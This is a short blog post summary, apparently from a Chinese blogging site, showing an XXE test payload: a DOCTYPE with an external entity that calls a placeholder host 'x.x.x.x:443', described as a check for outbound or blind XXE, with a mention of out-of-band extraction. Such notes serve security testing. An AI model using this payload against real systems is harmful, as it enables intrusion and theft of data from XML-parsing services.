摘要: Vanilla, used to verify outbound xxe or blind xxe <!DOCTYPE r [ <!ELEMENT r ANY <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt" ] &sp; OoB extraction 阅读全文
posted @ 2019-04-24 17:49 Qusss 阅读(228) 评论(0) 推荐(0)